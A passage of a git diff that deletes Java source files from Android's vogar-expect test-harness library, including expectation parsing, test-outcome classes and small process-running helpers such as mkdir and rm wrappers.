- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package vogar;
-
-import java.util.LinkedHashSet;
-import java.util.Set;
-import java.util.regex.Pattern;
-
-/**
- * The expected result of an action execution. This is typically encoded in the
- * expectations text file, which has the following format:
- * <pre>
- * test java.io.StreamTokenizer.Reset
- * result UNSUPPORTED
- * pattern .*should get token \[, but get -1.*
- *
- * # should we fix this?
- * test java.util.Arrays.CopyMethods
- * result COMPILE_FAILED
- * pattern .*cannot find symbol.*
- * </pre>
- */
-public final class Expectation {
-
-    /** Justification for this expectation */
-    private final String description;
-
-    /** The action's expected result, such as {@code EXEC_FAILED}. */
-    private final Result result;
-
-    /** The pattern the expected output will match. */
-    private final Pattern pattern;
-
-    /** Attributes of this test. */
-    private final Set<String> tags;
-
-    /** The tracking bug ID */
-    private final long bug;
-
-    /** True if the identified bug still active. */
-    private boolean bugIsOpen = false;
-
-    public Expectation(Result result, Pattern pattern, Set<String> tags, String description, long bug) {
-        if (result == null || description == null || pattern == null) {
-            throw new IllegalArgumentException(
-                    "result=" + result + " description=" + description + " pattern=" + pattern);
-        }
-
-        this.description = description;
-        this.result = result;
-        this.pattern = pattern;
-        this.tags = new LinkedHashSet<String>(tags);
-        this.bug = bug;
-    }
-
-    public String getDescription() {
-        return description;
-    }
-
-    public long getBug() {
-        return bug;
-    }
-
-    public Result getResult() {
-        return result;
-    }
-
-    public Set<String> getTags() {
-        return tags;
-    }
-
-    /**
-     * Set the current status of this expectation's bug. When a bug is open,
-     * any result (success or failure) is permitted.
-     */
-    public void setBugIsOpen(boolean bugIsOpen) {
-        this.bugIsOpen = bugIsOpen;
-    }
-
-    /**
-     * Returns true if {@code outcome} matches this expectation.
-     */
-    public boolean matches(Outcome outcome) {
-        return patternMatches(outcome) && (bugIsOpen || result == outcome.getResult());
-    }
-
-    private boolean patternMatches(Outcome outcome) {
-        return pattern.matcher(outcome.getOutput()).matches();
-    }
-
-    @Override public String toString() {
-        return "Expectation[description=" + description + " pattern=" + pattern.pattern() + "]";
-    }
-}
diff --git a/libs/vogar-expect/src/vogar/ExpectationStore.java b/libs/vogar-expect/src/vogar/ExpectationStore.java
deleted file mode 100644
index bf87b46..0000000
--- a/libs/vogar-expect/src/vogar/ExpectationStore.java
+++ /dev/null
@@ -1,316 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package vogar;
-
-import com.android.json.stream.JsonReader;
-import com.google.common.base.Joiner;
-import com.google.common.base.Splitter;
-import com.google.common.collect.Iterables;
-import java.io.File;
-import java.io.FileReader;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.io.Reader;
-import java.net.URL;
-import java.util.Collections;
-import java.util.LinkedHashMap;
-import java.util.LinkedHashSet;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.regex.Pattern;
-import vogar.commands.Command;
-import vogar.util.Log;
-
-/**
- * A database of expected outcomes. Entries in this database come in two forms.
- * <ul>
- *   <li>Outcome expectations name an outcome (or its prefix, such as
- *       "java.util"), its expected result, and an optional pattern to match
- *       the expected output.
- *   <li>Failure expectations include a pattern that may match the output of any
- *       outcome. These expectations are useful for hiding failures caused by
- *       cross-cutting features that aren't supported.
- * </ul>
- *
- * <p>If an outcome matches both an outcome expectation and a failure
- * expectation, the outcome expectation will be returned.
- */
-public final class ExpectationStore {
-
-    /** The pattern to use when no expected output is specified */
-    private static final Pattern MATCH_ALL_PATTERN
-            = Pattern.compile(".*", Pattern.MULTILINE | Pattern.DOTALL);
-
-    /** The expectation of a general successful run. */
-    private static final Expectation SUCCESS = new Expectation(Result.SUCCESS, MATCH_ALL_PATTERN,
-            Collections.<String>emptySet(), "", -1);
-
-    private static final int PATTERN_FLAGS = Pattern.MULTILINE | Pattern.DOTALL;
-
-    private final Map<String, Expectation> outcomes = new LinkedHashMap<String, Expectation>();
-    private final Map<String, Expectation> failures = new LinkedHashMap<String, Expectation>();
-
-    private ExpectationStore() {}
-
-    /**
-     * Finds the expected result for the specified action or outcome name. This
-     * returns a value for all names, even if no explicit expectation was set.
-     */
-    public Expectation get(String name) {
-        Expectation byName = getByNameOrPackage(name);
-        return byName != null ? byName : SUCCESS;
-    }
-
-    /**
-     * Finds the expected result for the specified outcome after it has
-     * completed. Unlike {@code get()}, this also takes into account the
-     * outcome's output.
-     *
-     * <p>For outcomes that have both a name match and an output match,
-     * exact name matches are preferred, then output matches, then inexact
-     * name matches.
-     */
-    public Expectation get(Outcome outcome) {
-        Expectation exactNameMatch = outcomes.get(outcome.getName());
-        if (exactNameMatch != null) {
-            return exactNameMatch;
-        }
-
-        for (Map.Entry<String, Expectation> entry : failures.entrySet()) {
-            if (entry.getValue().matches(outcome)) {
-                return entry.getValue();
-            }
-        }
-
-        Expectation byName = getByNameOrPackage(outcome.getName());
-        return byName != null ? byName : SUCCESS;
-    }
-
-    private Expectation getByNameOrPackage(String name) {
-        while (true) {
-            Expectation expectation = outcomes.get(name);
-            if (expectation != null) {
-                return expectation;
-            }
-
-            int dotOrHash = Math.max(name.lastIndexOf('.'), name.lastIndexOf('#'));
-            if (dotOrHash == -1) {
-                return null;
-            }
-
-            name = name.substring(0, dotOrHash);
-        }
-    }
-
-    public static ExpectationStore parse(Set<File> expectationFiles, ModeId mode) throws IOException {
-        ExpectationStore result = new ExpectationStore();
-        for (File f : expectationFiles) {
-            if (f.exists()) {
-                result.parse(f, mode);
-            }
-        }
-        return result;
-    }
-
-    /**
-     * Create an {@link ExpectationStore} that is populated from expectation resources.
-     * @param owningClass the class from which the resources are loaded.
-     * @param expectationResources the set of paths to the expectation resources; the paths are
-     * either relative to the owning class, or absolute (starting with a /).
-     * @param mode the mode within which the tests are to be run.
-     * @return the populated {@link ExpectationStore}.
-     * @throws IOException if there was a problem loading
-     */
-    public static ExpectationStore parseResources(
-            Class<?> owningClass, Set<String> expectationResources, ModeId mode)
-            throws IOException {
-        ExpectationStore result = new ExpectationStore();
-        for (String expectationsPath : expectationResources) {
-            URL url = owningClass.getResource(expectationsPath);
-            if (url == null) {
-                Log.warn("Could not find resource '" + expectationsPath
-                        + "' relative to " + owningClass);
-            } else {
-                result.parse(url, mode);
-            }
-        }
-        return result;
-    }
-
-    private void parse(URL url, ModeId mode) throws IOException {
-        Log.verbose("loading expectations from " + url);
-
-        try (InputStream is = url.openStream();
-             Reader reader = new InputStreamReader(is)) {
-            parse(reader, url.toString(), mode);
-        }
-    }
-
-    public void parse(File expectationsFile, ModeId mode) throws IOException {
-        Log.verbose("loading expectations file " + expectationsFile);
-
-        try (Reader fileReader = new FileReader(expectationsFile)) {
-            String source = expectationsFile.toString();
-            parse(fileReader, source, mode);
-        }
-    }
-
-    private void parse(Reader reader, String source, ModeId mode) throws IOException {
-        int count = 0;
-        try (JsonReader jsonReader = new JsonReader(reader)) {
-            jsonReader.setLenient(true);
-            jsonReader.beginArray();
-            while (jsonReader.hasNext()) {
-                readExpectation(jsonReader, mode);
-                count++;
-            }
-            jsonReader.endArray();
-
-            Log.verbose("loaded " + count + " expectations from " + source);
-        }
-    }
-
-    private void readExpectation(JsonReader reader, ModeId mode) throws IOException {
-        boolean isFailure = false;
-        Result result = Result.EXEC_FAILED;
-        Pattern pattern = MATCH_ALL_PATTERN;
-        Set<String> names = new LinkedHashSet<String>();
-        Set<String> tags = new LinkedHashSet<String>();
-        Set<ModeId> modes = null;
-        String description = "";
-        long buganizerBug = -1;
-
-        reader.beginObject();
-        while (reader.hasNext()) {
-            String name = reader.nextName();
-            if (name.equals("result")) {
-                result = Result.valueOf(reader.nextString());
-            } else if (name.equals("name")) {
-                names.add(reader.nextString());
-            } else if (name.equals("names")) {
-                readStrings(reader, names);
-            } else if (name.equals("failure")) {
-                // isFailure is somewhat arbitrarily keyed on the existence of a "failure"
-                // element instead of looking at the "result" field. There are only about 5
-                // expectations in our entire expectation store that have this tag.
-                //
-                // TODO: Get rid of it and the "failures" map and just use the outcomes
-                // map for everything. Both uses seem useless.
-                isFailure = true;
-                names.add(reader.nextString());
-            } else if (name.equals("pattern")) {
-                pattern = Pattern.compile(reader.nextString(), PATTERN_FLAGS);
-            } else if (name.equals("substring")) {
-                pattern = Pattern.compile(".*" + Pattern.quote(reader.nextString()) + ".*", PATTERN_FLAGS);
-            } else if (name.equals("tags")) {
-                readStrings(reader, tags);
-            } else if (name.equals("description")) {
-                Iterable<String> split = Splitter.on("\n").omitEmptyStrings().trimResults().split(reader.nextString());
-                description = Joiner.on("\n").join(split);
-            } else if (name.equals("bug")) {
-                buganizerBug = reader.nextLong();
-            } else if (name.equals("modes")) {
-                modes = readModes(reader);
-            } else {
-                Log.warn("Unhandled name in expectations file: " + name);
-                reader.skipValue();
-            }
-        }
-        reader.endObject();
-
-        if (names.isEmpty()) {
-            throw new IllegalArgumentException("Missing 'name' or 'failure' key in " + reader);
-        }
-        if (modes != null && !modes.contains(mode)) {
-            return;
-        }
-
-        Expectation expectation = new Expectation(result, pattern, tags, description, buganizerBug);
-        Map<String, Expectation> map = isFailure ? failures : outcomes;
-        for (String name : names) {
-            if (map.put(name, expectation) != null) {
-                throw new IllegalArgumentException("Duplicate expectations for " + name);
-            }
-        }
-    }
-
-    private void readStrings(JsonReader reader, Set<String> output) throws IOException {
-        reader.beginArray();
-        while (reader.hasNext()) {
-            output.add(reader.nextString());
-        }
-        reader.endArray();
-    }
-
-    private Set<ModeId> readModes(JsonReader reader) throws IOException {
-        Set<ModeId> result = new LinkedHashSet<ModeId>();
-        reader.beginArray();
-        while (reader.hasNext()) {
-            result.add(ModeId.valueOf(reader.nextString().toUpperCase()));
-        }
-        reader.endArray();
-        return result;
-    }
-
-    /**
-     * Sets the bugIsOpen status on all expectations by querying an external bug
-     * tracker.
-     */
-    public void loadBugStatuses(String openBugsCommand) {
-        Iterable<Expectation> allExpectations = Iterables.concat(outcomes.values(), failures.values());
-
-        // figure out what bug IDs we're interested in
-        Set<String> bugs = new LinkedHashSet<String>();
-        for (Expectation expectation : allExpectations) {
-            if (expectation.getBug() != -1) {
-                bugs.add(Long.toString(expectation.getBug()));
-            }
-        }
-        if (bugs.isEmpty()) {
-            return;
-        }
-
-        // query the external app for open bugs
-        List<String> openBugs = new Command.Builder()
-                .args(openBugsCommand)
-                .args(bugs)
-                .execute();
-        Set<Long> openBugsSet = new LinkedHashSet<Long>();
-        for (String bug : openBugs) {
-            openBugsSet.add(Long.parseLong(bug));
-        }
-
-        Log.verbose("tracking " + openBugsSet.size() + " open bugs: " + openBugs);
-
-        // update our expectations with that set
-        for (Expectation expectation : allExpectations) {
-            if (openBugsSet.contains(expectation.getBug())) {
-                expectation.setBugIsOpen(true);
-            }
-        }
-    }
-
-    public Map<String, Expectation> getAllOutComes() {
-        return outcomes;
-    }
-
-    public Map<String, Expectation> getAllFailures() {
-        return failures;
-    }
-}
diff --git a/libs/vogar-expect/src/vogar/ModeId.java b/libs/vogar-expect/src/vogar/ModeId.java
deleted file mode 100644
index 3b24cc1..0000000
--- a/libs/vogar-expect/src/vogar/ModeId.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package vogar;
-
-public enum ModeId {
-    DEVICE, JVM, ACTIVITY, SIM, HOST;
-
-    public boolean acceptsVmArgs() {
-        return this != ACTIVITY;
-    }
-
-    public boolean isHost() {
-        return this == JVM || this == SIM || this == HOST;
-    }
-
-    public boolean requiresAndroidSdk() {
-        return this == DEVICE || this == ACTIVITY || this == SIM || this == HOST;
-    }
-}
diff --git a/libs/vogar-expect/src/vogar/Outcome.java b/libs/vogar-expect/src/vogar/Outcome.java
deleted file mode 100644
index 3d7c68f..0000000
--- a/libs/vogar-expect/src/vogar/Outcome.java
+++ /dev/null
@@ -1,173 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package vogar;
-
-import com.google.common.collect.Lists;
-import java.io.PrintWriter;
-import java.io.StringWriter;
-import java.util.Arrays;
-import java.util.Date;
-import java.util.List;
-import vogar.util.Strings;
-
-/**
- * An outcome of an action. Some actions may have multiple outcomes. For
- * example, JUnit tests have one outcome for each test method.
- */
-public final class Outcome {
-
-    private final String outcomeName;
-    private final Result result;
-    private final String output;
-    private final Date date;
-
-    public Outcome(String outcomeName, Result result, List<String> outputLines) {
-        this.outcomeName = outcomeName;
-        this.result = result;
-        this.output = sanitizeOutputLines(outputLines);
-        this.date = new Date();
-    }
-
-    public Outcome(String outcomeName, Result result, String outputLine, Date date) {
-        this.outcomeName = outcomeName;
-        this.result = result;
-        this.output = sanitizeOutputLine(outputLine);
-        this.date = date;
-    }
-
-    public Outcome(String outcomeName, Result result, String outputLine) {
-        this.outcomeName = outcomeName;
-        this.result = result;
-        this.output = sanitizeOutputLine(outputLine);
-        this.date = new Date();
-    }
-
-    public Outcome(String outcomeName, Result result, Throwable throwable) {
-        this.outcomeName = outcomeName;
-        this.result = result;
-        this.output = sanitizeOutputLines(throwableToLines(throwable));
-        this.date = new Date();
-    }
-
-    private String sanitizeOutputLines(List<String> outputLines) {
-        List<String> sanitizedStrings = Lists.newArrayList();
-        for (String line : outputLines) {
-            sanitizedStrings.add(sanitizeOutputLine(line));
-        }
-        return Strings.join(sanitizedStrings, "\n");
-    }
-
-    private String sanitizeOutputLine(String outputLine) {
-        return Strings.xmlSanitize(outputLine.replaceAll("\r\n?", "\n"));
-    }
-
-    public Date getDate() {
-        return date;
-    }
-
-    public String getName() {
-        return outcomeName;
-    }
-
-    public Result getResult() {
-        return result;
-    }
-
-    public String getOutput() {
-        return output;
-    }
-
-    public List<String> getOutputLines() {
-        return Arrays.asList(output.split("\n"));
-    }
-
-    private static List<String> throwableToLines(Throwable t) {
-        StringWriter writer = new StringWriter();
-        PrintWriter out = new PrintWriter(writer);
-        t.printStackTrace(out);
-        return Arrays.asList(writer.toString().split("\\n"));
-    }
-
-    /**
-     * Returns the action's suite name, such as java.lang.Integer or
-     * java.lang.IntegerTest.
-     */
-    public String getSuiteName() {
-        int split = split(outcomeName);
-        return split == -1 ? "defaultpackage" : outcomeName.substring(0, split);
-    }
-
-    /**
-     * Returns the specific action name, such as BitTwiddle or testBitTwiddle.
-     */
-    public String getTestName() {
-        int split = split(outcomeName);
-        return split == -1 ? outcomeName : outcomeName.substring(split + 1);
-    }
-
-    private static int split(String name) {
-        int lastHash = name.indexOf('#');
-        return lastHash == -1 ? name.lastIndexOf('.') : lastHash;
-    }
-
-    /**
-     * Returns whether the result indicates that the contents of the Outcome are important.
-     *
-     * For example, for a test skipped because it is unsupported, we don't care about the result.
-     */
-    private boolean matters() {
-        return result != Result.UNSUPPORTED;
-    }
-
-    public ResultValue getResultValue(Expectation expectation) {
-        if (matters()) {
-            return expectation.matches(this) ? ResultValue.OK : ResultValue.FAIL;
-        }
-        return ResultValue.IGNORE;
-    }
-
-    /**
-     * Returns a filesystem db path for this outcome. For example, a path for an outcome with name
-     * "foo.bar.baz#testName" would be "foo/bar/baz/testName".
-     */
-    public String getPath() {
-        return outcomeName.replaceAll("[\\.#]", "/");
-    }
-
-    @Override public boolean equals(Object o) {
-        if (o instanceof Outcome) {
-            Outcome outcome = (Outcome) o;
-            return outcomeName.equals(outcome.outcomeName)
-                    && result == outcome.result
-                    && output.equals(outcome.output);
-        }
-        return false;
-    }
-
-    @Override public int hashCode() {
-        int hashCode = 17;
-        hashCode = 37 * hashCode + outcomeName.hashCode();
-        hashCode  = 37 * hashCode + result.hashCode();
-        hashCode = 37 * hashCode + output.hashCode();
-        return hashCode;
-    }
-
-    @Override public String toString() {
-        return "Outcome[name=" + outcomeName + " output=" + output + "]";
-    }
-
-}
diff --git a/libs/vogar-expect/src/vogar/Result.java b/libs/vogar-expect/src/vogar/Result.java
deleted file mode 100644
index 45c88ce..0000000
--- a/libs/vogar-expect/src/vogar/Result.java
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package vogar;
-
-/**
- * The result of a test or benchmark execution.
- */
-public enum Result {
-
-    /**
-     * An action that cannot be run by this harness, such as a shell script.
-     */
-    UNSUPPORTED,
-
-    COMPILE_FAILED,
-    EXEC_FAILED,
-    EXEC_TIMEOUT,
-    ERROR,
-    SUCCESS
-}
diff --git a/libs/vogar-expect/src/vogar/ResultValue.java b/libs/vogar-expect/src/vogar/ResultValue.java
deleted file mode 100644
index 2e450f4..0000000
--- a/libs/vogar-expect/src/vogar/ResultValue.java
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package vogar;
-
-/**
- * Represents an evaluation of the goodness of a result.
- */
-public enum ResultValue {
-    OK,
-    IGNORE,
-    FAIL
-}
diff --git a/libs/vogar-expect/src/vogar/commands/Command.java b/libs/vogar-expect/src/vogar/commands/Command.java
deleted file mode 100644
index d60d77e..0000000
--- a/libs/vogar-expect/src/vogar/commands/Command.java
+++ /dev/null
@@ -1,289 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package vogar.commands;
-
-import java.io.BufferedReader;
-import java.io.File;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.io.PrintStream;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.Collections;
-import java.util.LinkedHashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.Callable;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.TimeoutException;
-
-import vogar.util.Log;
-import vogar.util.Strings;
-import vogar.util.Threads;
-
-/**
- * An out of process executable.
- */
-public final class Command {
-    private final List<String> args;
-    private final Map<String, String> env;
-    private final File workingDirectory;
-    private final boolean permitNonZeroExitStatus;
-    private final PrintStream tee;
-    private final boolean nativeOutput;
-    private volatile Process process;
-
-    public Command(String... args) {
-        this(Arrays.asList(args));
-    }
-
-    public Command(List<String> args) {
-        this.args = new ArrayList<String>(args);
-        this.env = Collections.emptyMap();
-        this.workingDirectory = null;
-        this.permitNonZeroExitStatus = false;
-        this.tee = null;
-        this.nativeOutput = false;
-    }
-
-    private Command(Builder builder) {
-        this.args = new ArrayList<String>(builder.args);
-        this.env = builder.env;
-        this.workingDirectory = builder.workingDirectory;
-        this.permitNonZeroExitStatus = builder.permitNonZeroExitStatus;
-        this.tee = builder.tee;
-        if (builder.maxLength != -1) {
-            String string = toString();
-            if (string.length() > builder.maxLength) {
-                throw new IllegalStateException("Maximum command length " + builder.maxLength
-                                                + " exceeded by: " + string);
-            }
-        }
-        this.nativeOutput = builder.nativeOutput;
-    }
-
-    public void start() throws IOException {
-        if (isStarted()) {
-            throw new IllegalStateException("Already started!");
-        }
-
-        Log.verbose("executing " + this);
-
-        ProcessBuilder processBuilder = new ProcessBuilder()
-                .command(args)
-                .redirectErrorStream(true);
-        if (workingDirectory != null) {
-            processBuilder.directory(workingDirectory);
-        }
-
-        processBuilder.environment().putAll(env);
-
-        process = processBuilder.start();
-    }
-
-    public boolean isStarted() {
-        return process != null;
-    }
-
-    public InputStream getInputStream() {
-        if (!isStarted()) {
-            throw new IllegalStateException("Not started!");
-        }
-
-        return process.getInputStream();
-    }
-
-    public List<String> gatherOutput()
-            throws IOException, InterruptedException {
-        if (!isStarted()) {
-            throw new IllegalStateException("Not started!");
-        }
-
-        BufferedReader in = new BufferedReader(
-                new InputStreamReader(getInputStream(), "UTF-8"));
-        List<String> outputLines = new ArrayList<String>();
-        String outputLine;
-        while ((outputLine = in.readLine()) != null) {
-            if (tee != null) {
-                tee.println(outputLine);
-            }
-            if (nativeOutput) {
-                Log.nativeOutput(outputLine);
-            }
-            outputLines.add(outputLine);
-        }
-
-        if (process.waitFor() != 0 && !permitNonZeroExitStatus) {
-            StringBuilder message = new StringBuilder();
-            for (String line : outputLines) {
-                message.append("\n").append(line);
-            }
-            throw new CommandFailedException(args, outputLines);
-        }
-
-        return outputLines;
-    }
-
-    public List<String> execute() {
-        try {
-            start();
-            return gatherOutput();
-        } catch (IOException e) {
-            throw new RuntimeException("Failed to execute process: " + args, e);
-        } catch (InterruptedException e) {
-            throw new RuntimeException("Interrupted while executing process: " + args, e);
-        }
-    }
-
-    /**
-     * Executes a command with a specified timeout. If the process does not
-     * complete normally before the timeout has elapsed, it will be destroyed.
-     *
-     * @param timeoutSeconds how long to wait, or 0 to wait indefinitely
-     * @return the command's output, or null if the command timed out
-     */
-    public List<String> executeWithTimeout(int timeoutSeconds)
-            throws TimeoutException {
-        if (timeoutSeconds == 0) {
-            return execute();
-        }
-
-        try {
-            return executeLater().get(timeoutSeconds, TimeUnit.SECONDS);
-        } catch (InterruptedException e) {
-            throw new RuntimeException("Interrupted while executing process: " + args, e);
-        } catch (ExecutionException e) {
-            throw new RuntimeException(e);
-        } finally {
-            destroy();
-        }
-    }
-
-    /**
-     * Executes the command on a new background thread. This method returns
-     * immediately.
-     *
-     * @return a future to retrieve the command's output.
-     */
-    public Future<List<String>> executeLater() {
-        ExecutorService executor = Threads.fixedThreadsExecutor("command", 1);
-        Future<List<String>> result = executor.submit(new Callable<List<String>>() {
-            public List<String> call() throws Exception {
-                start();
-                return gatherOutput();
-            }
-        });
-        executor.shutdown();
-        return result;
-    }
-
-    /**
-     * Destroys the underlying process and closes its associated streams.
-     */
-    public void destroy() {
-        if (process == null) {
-            return;
-        }
-
-        process.destroy();
-        try {
-            process.waitFor();
-            int exitValue = process.exitValue();
-            Log.verbose("received exit value " + exitValue
-                    + " from destroyed command " + this);
-        } catch (IllegalThreadStateException destroyUnsuccessful) {
-            Log.warn("couldn't destroy " + this);
-        } catch (InterruptedException e) {
-            Log.warn("couldn't destroy " + this);
-        }
-    }
-
-    @Override public String toString() {
-        String envString = !env.isEmpty() ? (Strings.join(env.entrySet(), " ") + " ") : "";
-        return envString + Strings.join(args, " ");
-    }
-
-    public static class Builder {
-        private final List<String> args = new ArrayList<String>();
-        private final Map<String, String> env = new LinkedHashMap<String, String>();
-        private File workingDirectory;
-        private boolean permitNonZeroExitStatus = false;
-        private PrintStream tee = null;
-        private boolean nativeOutput;
-        private int maxLength = -1;
-
-        public Builder args(Object... objects) {
-            for (Object object : objects) {
-                args(object.toString());
-            }
-            return this;
-        }
-
-        public Builder setNativeOutput(boolean nativeOutput) {
-            this.nativeOutput = nativeOutput;
-            return this;
-        }
-
-        public Builder args(String... args) {
-            return args(Arrays.asList(args));
-        }
-
-        public Builder args(Collection<String> args) {
-            this.args.addAll(args);
-            return this;
-        }
-
-        public Builder env(String key, String value) {
-            env.put(key, value);
-            return this;
-        }
-
-        /**
-         * Sets the working directory from which the command will be executed.
-         * This must be a <strong>local</strong> directory; Commands run on
-         * remote devices (ie. via {@code adb shell}) require a local working
-         * directory.
-         */
-        public Builder workingDirectory(File workingDirectory) {
-            this.workingDirectory = workingDirectory;
-            return this;
-        }
-
-        public Builder tee(PrintStream printStream) {
-            tee = printStream;
-            return this;
-        }
-
-        public Builder maxLength(int maxLength) {
-            this.maxLength = maxLength;
-            return this;
-        }
-
-        public Command build() {
-            return new Command(this);
-        }
-
-        public List<String> execute() {
-            return build().execute();
-        }
-    }
-}
diff --git a/libs/vogar-expect/src/vogar/commands/CommandFailedException.java b/libs/vogar-expect/src/vogar/commands/CommandFailedException.java
deleted file mode 100644
index 3e08c11..0000000
--- a/libs/vogar-expect/src/vogar/commands/CommandFailedException.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package vogar.commands;
-
-import java.util.List;
-
-/**
- * Thrown when an out of process executable does not return normally.
- */
-public class CommandFailedException extends RuntimeException {
-
-    private final List<String> args;
-    private final List<String> outputLines;
-
-    public CommandFailedException(List<String> args, List<String> outputLines) {
-        super(formatMessage(args, outputLines));
-        this.args = args;
-        this.outputLines = outputLines;
-    }
-
-    public List<String> getArgs() {
-        return args;
-    }
-
-    public List<String> getOutputLines() {
-        return outputLines;
-    }
-
-    public static String formatMessage(List<String> args, List<String> outputLines) {
-        StringBuilder result = new StringBuilder();
-        result.append("Command failed:");
-        for (String arg : args) {
-            result.append(" ").append(arg);
-        }
-        for (String outputLine : outputLines) {
-            result.append("\n  ").append(outputLine);
-        }
-        return result.toString();
-    }
-
-    private static final long serialVersionUID = 0;
-}
diff --git a/libs/vogar-expect/src/vogar/commands/Mkdir.java b/libs/vogar-expect/src/vogar/commands/Mkdir.java
deleted file mode 100644
index fc08f1b..0000000
--- a/libs/vogar-expect/src/vogar/commands/Mkdir.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package vogar.commands;
-
-import java.io.File;
-
-/**
- * A mkdir command.
- */
-public final class Mkdir {
-
-    public void mkdirs(File directory) {
-        new Command("mkdir", "-p", directory.getPath()).execute();
-    }
-}
diff --git a/libs/vogar-expect/src/vogar/commands/Rm.java b/libs/vogar-expect/src/vogar/commands/Rm.java
deleted file mode 100644
index 5b39144..0000000
--- a/libs/vogar-expect/src/vogar/commands/Rm.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package vogar.commands;
-
-import java.io.File;
-
-/**
- * A rm command.
- */
-public final class Rm {
-
-    public void file(File file) {
-        new Command("rm", "-f", file.getPath()).execute();
-    }
-
-    public void directoryTree(File directory) {
-        new Command("rm", "-rf", directory.getPath()).execute();
-    }
-}
diff --git a/libs/vogar-expect/src/vogar/expect/Expectation.java b/libs/vogar-expect/src/vogar/expect/Expectation.java
